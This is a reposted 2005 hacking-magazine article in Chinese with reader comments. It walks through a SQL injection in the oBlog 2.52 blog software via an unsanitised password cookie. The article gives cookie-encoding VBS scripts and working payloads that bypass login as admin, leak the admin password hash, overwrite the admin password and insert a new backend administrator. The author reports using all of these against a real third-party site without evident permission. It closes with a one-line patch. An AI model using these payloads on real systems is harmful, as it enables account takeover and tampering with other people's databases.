Oblog的噩梦

文章作者:千寂孤城
信息来源:邪恶八进制信息安全团队

注:本文已发表在2005年8月的《黑客X档案》杂志上

现在的博客可谓是如日中天啊,还自称是“互联网的第四块里程碑”。期末考试刚刚结束,我就下了套oBlog 2.52来研究,我读啊读、找啊找,终于让我找到个大漏洞。
问题出在inc/function.asp的CheckUserLogined()函数中,大家看代码:

function CheckUserLogined()
dim Logined,Password,rsLogin,sqlLogin
Logined=True
UserName=DecodeCookie(Request.Cookies(cookiesname)("UserName"))
Password=DecodeCookie(Request.Cookies(cookiesname)("Password"))
userlevel=DecodeCookie(Request.Cookies(cookiesname)("userlevel"))
if userlevel<>"" then userlevel=cint(userlevel)
if UserName="" then
Logined=False
end if
if Password="" then
Logined=False
end if
if Logined=True then
username=ReplaceBadChar(trim(username))
if ot_user then
sqlLogin="select * from "&ot_usertable&" where "&ot_username&"='" & username & "' and "&ot_password&"='" & password &"'"
set rsLogin=ot_conn.execute(sqlLogin)
else
sqlLogin="select * from [user] where lockuser='false' and Username='" & username & "' and UserPassword='" & password &"'"
set rsLogin=conn.execute(sqlLogin)
end if
…………………………以下省略
end if
CheckUserLogined=Logined
end function

看到了吗?在判断用户登陆时只有UserName经过了ReplaceBadChar()检查,Password却直接放到了语句中查询。而UserName和Password都取自cookies,我们当然可以做手脚了!很明显的注入漏洞啊!而且CheckUserLogined()是个很关键的函数,到处都在调用!(呵呵,程序员越马虎,我们越高兴。)
Wait,还有个DecodeCookie。UserName和Password从cookie中取出来时还要经过DecodeCookie解密,相应的也有个加密函数CodeCookie。所以,我们构造的Cookies也必须是加密过后的。(这两个函数也都在inc/function.asp中)

工欲善其事,必先利其器!我们先按造它的算法来写两个加密和解码的小程序。啊?你看不懂它的算法?看不懂不要紧,直接把它的代码稍做修改后拷贝到vbs文件中就行了!新建两个vbs文件:CodeCookie.vbs和DecodeCookie.vbs。

CodeCookie.vbs中的代码如下:
str=inputbox("")
Dim i
Dim StrRtn
For i = Len(Str) to 1 Step -1
StrRtn = StrRtn & Ascw(Mid(Str,i,1))
If (i <> 1) Then StrRtn = StrRtn & "a"
Next
CodeCookie = StrRtn
inputbox "","",codecookie

DecodeCookie.vbs中的代码如下:
str=inputbox("")
Dim i
Dim StrArr,StrRtn
StrArr = Split(Str,"a")
For i = 0 to UBound(StrArr)
If isNumeric(StrArr(i)) = True Then
StrRtn = Chrw(StrArr(i)) & StrRtn
Else
StrRtn = Str
End If
Next
DecodeCookie = StrRtn
inputbox "","",decodecookie

好了, 开始测试!我用的是本市一个非常出名的网站:http://blog.63**.com/ 进行的测试。调用CheckUserLogined()的页面到处都是,这里我们就用message.asp实验。message.asp是给别人的blog留言的页面。
先操起MyBrowser(这个是Cookies欺骗的必用工具,地球人都知道!),打开http://blog.63**.com/ ,随便注册个用户“cdsb”,来到随便一个人“风吹草动”的blog上,进入给他留言的页面。好,开始改Password。打开CodeCookie.vbs,会弹出个输入框,在里面输入a' or 'a'='a,点确定,加密后变成97a39a61a39a97a39a32a114a111a32a39a97,把MyBrowser顶上的Cookies一栏中的Password值改成这个。随便发条“你好”的消息。如图1。

注意看留言者变成了admin。为什么会这样呢,因为经过我们改动后的Cookies放到CheckUserLogined()中就成了这样:select * from [user] where lockuser='false' and Username='cdsb' and UserPassword='a' or 'a'='a' 而在逻辑运算符中and的优先级比or高,所以程序会先处理and再处理or,那语句就成了“假or真”。学过高一数学的人都知道“假or真=真”。所以就成功地绕过去了。这样绕出来的用户不是特定的一个而是所以的(你在查询分析器里试试就明白了),但admin是user表中的第一个用户,所以你的身份就成了admin。

现在来看看管理员密码。刚开始我想的是用union查询,但是老成功不了。所以我们试试让它转换数据类型出错后自己暴出来。
打开DecodeCookie.vbs,也会弹出个框框。把正常登陆时的Cookies中的Password值copy过去,点确定,出来了:931b77e2e9192ef5。这是什么?这就是用MD5加密后的你的密码呀。
把Cookies中的Password改成:931b77e2e9192ef5' and 1<(select userpassword from [user] where userid=1)–(当然,要先用CodeCookie.vbs加密这句。),放到原句中成了select * from [user] where lockuser='false' and Username='cdsb' and UserPassword='931b77e2e9192ef5' and 1<(select userpassword from [user] where userid=1)–' 记住后面有个“–”,是为了把最后的那个“'”注释掉。刷新一下。如图2。

怎么样?暴出来了吧,密码是:d1ff837456669b30,放到MD5Crack3里去跑了跑,6位数字、7位、8位都没跑出来,没办法只有改他的密码了。(本来不想这样做的,谁叫他怎么可恶,居然不用弱口令。)
将Password改为:931b77e2e9192ef5' update [user] set userpassword='931b77e2e9192ef5' where username='admin 这样就把admin的密码改来和我一样了。

用admin登陆,如图3

这时可以修改admin的blog了。(其实进入admin的blog后台不用那么麻烦,因为blog后台user_index.asp也是用CheckUserLogined()函数来判断身份的。直接进入自己的oblog后台再把password值改成a' or 'a'='a,刷新一下就成了admin的blog后台了,我是为了试验update和暴数据的可能性才这么绕了一大圈的。事后我将admin的密码改回来了。)你问我为什么进admin的blog后台?因为blog的“公告栏”那里是可以进行跨站攻击的。

前台玩够了来玩后台,后台的用户名和密码是放在admin表中的。同样是在给“风吹草动”的blog留言的页面处,把password改成:931b77e2e9192ef5' insert into admin(username,password) values('cdsb','4727ee9395f324cd')– 刷新一下。好,来到这里http://blog.63**.com/admin_login.asp 。这是oblog的默认管理登陆地址。管理员没改地址,GOOD!输入cdsb和你的密码,可爱的后台出来了。如图4

后台能跨站的地方就更多了。如图5

好了,玩也玩够了,做为安全检测到这儿就可以了,就不再在webshell上下工夫了。闪人!
既然可以执行构造语句,那怎么利用全看你的想象力了。
漏洞修补方法:在inc/function.asp的CheckUserLogined()函数中加上password=ReplaceBadChar(trim(password))就行了。
特别申明:坚决反对利用此漏洞搞恶意破坏。

相关日志

楼被抢了 4 层了... 抢座Rss 2.0或者 Trackback

  • o零o

    我看你这个名字怎么这么眼熟
    是不是以前在《X》上留过言啊

  • 鬼仔

    :mad: 可能是你弄错了.
    我从不玩什么交友板什么的.没在《X》上留过言

  • kuhanzhu

    《X》可能是制X档案吧,一本黑客杂志。也有个网站,你本文说的是安全问题,所以他可能认为你经常去那学习及教授!

  • 鬼仔

    :mad: 没有.

发表评论